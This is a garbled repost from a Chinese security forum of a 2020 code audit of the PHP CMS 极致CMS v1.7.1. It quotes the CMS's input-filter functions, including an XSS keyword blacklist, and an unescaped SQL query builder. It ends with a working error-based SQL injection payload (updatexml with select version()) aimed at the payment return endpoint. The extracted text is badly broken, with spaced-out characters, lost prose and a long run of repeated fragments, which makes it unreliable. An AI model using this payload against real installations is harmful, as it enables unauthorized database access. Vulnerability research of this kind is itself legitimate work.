[6842] 2020-07-29_极致CMS--PHP代码审计SQL注入漏洞

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-17
2020-07-29_极致CMS--PHP代码审计SQL注入漏洞 C M S   - -   P H P   S Q L E   2 0 2 0 - 0 7 - 2 9   k e a c 使 N o . 1 N o . 1 C M S C M S C M S C M S N o . 2 N o . 2 1   .   C M S 2   .   B u g 3   .   4   .   C M S p h p s t u d y   +   m y s q l   N o . 3 N o . 3 C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P C M S - - P H P   .
  [   C M S   v 1 . 7 . 1   ]   v 1 . 8   1   .   X S S X S S 2   .   b u g
3   .   s q l 1 . 7 B u g 1   .   S Q L     X S S   2   .   3   .   C M S 线 B U G 4   .   访 c o o k i e i d 5   .   N o . 4 N o . 4 C M S
/ * *         * * / f u n c t i o n   f o r m a t _ p a r a m ( $ v a l u e = n u l l , $ i n t = 0 ) {         i f ( $ v a l u e = = n u l l ) {   r e t u r n   ' ' ; }         s w i t c h   ( $ i n t ) {                 c a s e   0 : / /                         r e t u r n   ( i n t ) $ v a l u e ;                 c a s e   1 : / /                         $ v a l u e = h t m l s p e c i a l c h a r s ( t r i m ( $ v a l u e ) , E N T _ Q U O T E S ) ;                         i f ( v e r s i o n _ c o m p a r e ( P H P _ V E R S I O N , ' 7 . 4 ' , ' > = ' ) ) {                                 $ v a l u e   =   a d d s l a s h e s ( $ v a l u e ) ;                         } e l s e {                                 i f ( ! g e t _ m a g i c _ q u o t e s _ g p c ( ) ) $ v a l u e   =   a d d s l a s h e s ( $ v a l u e ) ;                         }                         r e t u r n   $ v a l u e ;                 c a s e   2 : / /                         i f ( $ v a l u e = = ' ' ) r e t u r n   ' ' ;                         a r r a y _ w a l k _ r e c u r s i v e ( $ v a l u e ,   " a r r a y _ f o r m a t " ) ;                         r e t u r n   $ v a l u e ; c a s e   3 : / /                         r e t u r n   ( f l o a t ) $ v a l u e ;                 c a s e   4 :                         i f ( v e r s i o n _ c o m p a r e ( P H P _ V E R S I O N , ' 7 . 4 ' , ' > = ' ) ) {                                 $ v a l u e   =   a d d s l a s h e s ( $ v a l u e ) ;                 } e l s e {                         i f ( ! g e t _ m a g i c _ q u o t e s _ g p c ( ) ) $ v a l u e   =   a d d s l a s h e s ( $ v a l u e ) ;                 }                 r e t u r n   t r i m ( $ v a l u e ) ;         } } / / X S S f u n c t i o n   S a f e F i l t e r ( & $ a r r )   {         $ r a = A r r a y ( ' / ( [ x 0 0 - x 0 8 , x 0 b - x 0 c , x 0 e - x 1 9 ] ) / ' , ' / s c r i p t / ' , ' / j a v a s c r i p t / ' , ' / v b s c r i p t / ' , ' / e x p r e s s i o n / ' , ' / a p p l e t / '   , ' / m e t a / ' , ' / x m l / ' , ' / b l i n k / ' , ' / l i n k / ' , ' / s t y l e / ' , ' / e m b e d / ' , ' / o b j e c t / ' , ' / f r a m e / ' , ' / l a y e r / ' , ' / t i t l e / ' , ' / b g s o u n d / '   , ' / b a s e / ' , ' / o n l o a d / ' , ' / o n u n l o a d / ' , ' / o n c h a n g e / ' , ' / o n s u b m i t / ' , ' / o n r e s e t / ' , ' / o n s e l e c t / ' , ' / o n b l u r / ' , ' / o n f o c u s / ' ,     ' / o n a b o r t / ' , ' / o n k e y d o w n / ' , ' / o n k e y p r e s s / ' , ' / o n k e y u p / ' , ' / o n c l i c k / ' , ' / o n d b l c l i c k / ' , ' / o n m o u s e d o w n / ' , ' / o n m o u s e m o v e / ' , ' / o n m o u s e o u t / ' , ' / o n m o u s e o v e r / ' , ' / o n m o u s e u p / ' , ' / o n u n l o a d / ' ) ;                 i f   ( i s _ a r r a y ( $ a r r ) )         {                           f o r e a c h   ( $ a r r   a s   $ k e y   = >   $ v a l u e )                 {                                         i f   ( ! i s _ a r r a y ( $ v a l u e ) )                         {                                                         i f ( v e r s i o n _ c o m p a r e ( P H P _ V E R S I O N , ' 7 . 4 ' , ' > = ' ) )                                 {                                         $ v a l u e     =   a d d s l a s h e s ( $ v a l u e ) ;                                 }                                 e l s e                                 {                                         i f   ( ! g e t _ m a g i c _ q u o t e s _ g p c ( ) )                                         {                                                 $ v a l u e     =   a d d s l a s h e s ( $ v a l u e ) ;                                         }                                 }                                 $ v a l u e   =   p r e g _ r e p l a c e ( $ r a , ' ' , $ v a l u e ) ;           / / x s s                                 $ a r r [ $ k e y ]           =   h t m l e n t i t i e s ( s t r i p _ t a g s ( $ v a l u e ) ) ;   / /   H T M L     P H P     H T M L                           }                                         e l s e                         {                                 S a f e F i l t e r ( $ a r r [ $ k e y ] ) ;                         }                 }
        } } S Q L / /   p u b l i c   f u n c t i o n   f i n d ( $ w h e r e = n u l l , $ o r d e r = n u l l , $ f i e l d s = n u l l , $ l i m i t = 1 ) {               i f (   $ r e c o r d   =   $ t h i s - > f i n d A l l ( $ w h e r e ,   $ o r d e r ,   $ f i e l d s ,   1 )   ) {                 r e t u r n   a r r a y _ p o p ( $ r e c o r d ) ;         } e l s e {                 r e t u r n   F A L S E ;         } }   f i n d A l l   / /   p u b l i c   f u n c t i o n   f i n d A l l ( $ c o n d i t i o n s = n u l l , $ o r d e r = n u l l , $ f i e l d s = n u l l , $ l i m i t = n u l l ) {         $ w h e r e   =   ' ' ; i f ( i s _ a r r a y ( $ c o n d i t i o n s ) ) {                 $ j o i n   =   a r r a y ( ) ; f o r e a c h (   $ c o n d i t i o n s   a s   $ k e y   = >   $ v a l u e   ) {                         $ v a l u e   =     ' ' ' . $ v a l u e . ' ' ' ;                         $ j o i n [ ]   =   " { $ k e y }   =   { $ v a l u e } " ;                 }                 $ w h e r e   =   " W H E R E   " . j o i n ( "   A N D   " , $ j o i n ) ;         } e l s e {                 i f ( n u l l   ! =   $ c o n d i t i o n s ) $ w h e r e   =   " W H E R E   " . $ c o n d i t i o n s ;         }                     i f ( i s _ a r r a y ( $ o r d e r ) ) {                 $ w h e r e   . =   '   O R D E R   B Y   ' ;                 $ w h e r e   . =   i m p l o d e ( ' , ' ,   $ o r d e r ) ;         } e l s e {                                   i f ( $ o r d e r ! = n u l l ) $ w h e r e   . =   "   O R D E R   B Y     " . $ o r d e r ; } i f ( ! e m p t y ( $ l i m i t ) ) $ w h e r e   . =   "   L I M I T   { $ l i m i t } " ; $ f i e l d s   =   e m p t y ( $ f i e l d s )   ?   " * "   :   $ f i e l d s ; $ s q l   =   " S E L E C T   { $ f i e l d s }   F R O M   {         $ t h i s - > t a b l e }   { $ w h e r e } " ;         r e t u r n   $ t h i s - > g e t D a t a ( $ s q l ) ; } g e t D a t a / / p u b l i c   f u n c t i o n   g e t D a t a ( $ s q l ) {         i f ( ! $ r e s u l t   =   $ t h i s - > q u e r y ( $ s q l ) ) r e t u r n   a r r a y ( ) ;         i f ( ! $ t h i s - > S t a t e m e n t - > r o w C o u n t ( ) ) r e t u r n   a r r a y ( ) ;         $ r o w s   =   a r r a y ( ) ;         w h i l e ( $ r o w s [ ]   =   $ t h i s - > S t a t e m e n t - > f e t c h ( P D O : : F E T C H _ A S S O C ) ) { }         $ t h i s - > S t a t e m e n t = n u l l ;         a r r a y _ p o p ( $ r o w s ) ;         r e t u r n   $ r o w s ; } q u e r y
/ / S Q L p u b l i c   f u n c t i o n   q u e r y ( $ s q l ) {         $ t h i s - > f i l t e r [ ]   =   $ s q l ;                         $ t h i s - > S t a t e m e n t   =   $ t h i s - > p d o - > q u e r y ( $ s q l ) ;                         i f   ( $ t h i s - > S t a t e m e n t )   {                 r e t u r n   $ t h i s ;         } e l s e {                 $ m s g   =   $ t h i s - > p d o - > e r r o r I n f o ( ) ;                 i f ( $ m s g [ 2 ] )   e x i t ( ' '   .   $ m s g [ 2 ]   .   e n d ( $ t h i s - > f i l t e r ) ) ;         } } $ m s g   =   $ t h i s - > p d o - > e r r o r I n f o ( ) ; 退 s q l f o r m a t _ p a r a m : f u n c t i o n   e x p l o i t ( ) {       M ( ' m e m b e r ' ) - > f i n d ( [ ' u s e r n a m e ' = > $ _ G E T [ ' n a m e ' ] ] ) ; } G E T   P O S T   R E Q U E S T       . / e x p l o i t / n a m e = 1 2 3 '   ( ) 1 使 [ h t m l s p e c i a l c h a r s ] x s s s q l s q l
m y p a y / a l i p a y _ r e t u r n _ p a y ? o u t _ t r a d e _ n o = 1 % 2 7   a n d   u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t   v e r s i o n ( ) ) , 0 x 7 e ) , 1 ) - - + " E   h t t p s : / / w w w . e a s y a q . c o m 1 0 2 0 2 0 M A T A i P h o n e U n c 0 v e r   |   2 0 2 0   E
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则